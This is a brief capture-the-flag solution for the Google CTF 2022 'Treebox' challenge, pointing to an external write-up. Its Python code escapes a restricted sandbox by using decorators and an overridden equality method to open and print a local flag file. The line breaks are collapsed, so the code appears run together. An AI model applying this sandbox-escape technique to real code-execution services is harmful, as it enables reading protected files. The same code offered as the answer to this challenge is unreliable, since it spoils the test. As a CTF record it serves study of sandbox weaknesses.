The explanation for this solution is in [the original write-up](https://ajmalsiddiqui.me/ctf-writeups/google-ctf-2022-treebox/).
```pythonsys.stderr = sys.stdout
FileIO = sys.modules['io'].FileIO
class FlagIO(FileIO):    def __init__(self, fn):        pass
FlagIO.__eq__ = FileIO.__init__
@FlagIOdef hello():    pass
hello == "./flag"
flag = [a for a in hello]
assert False, flag--END```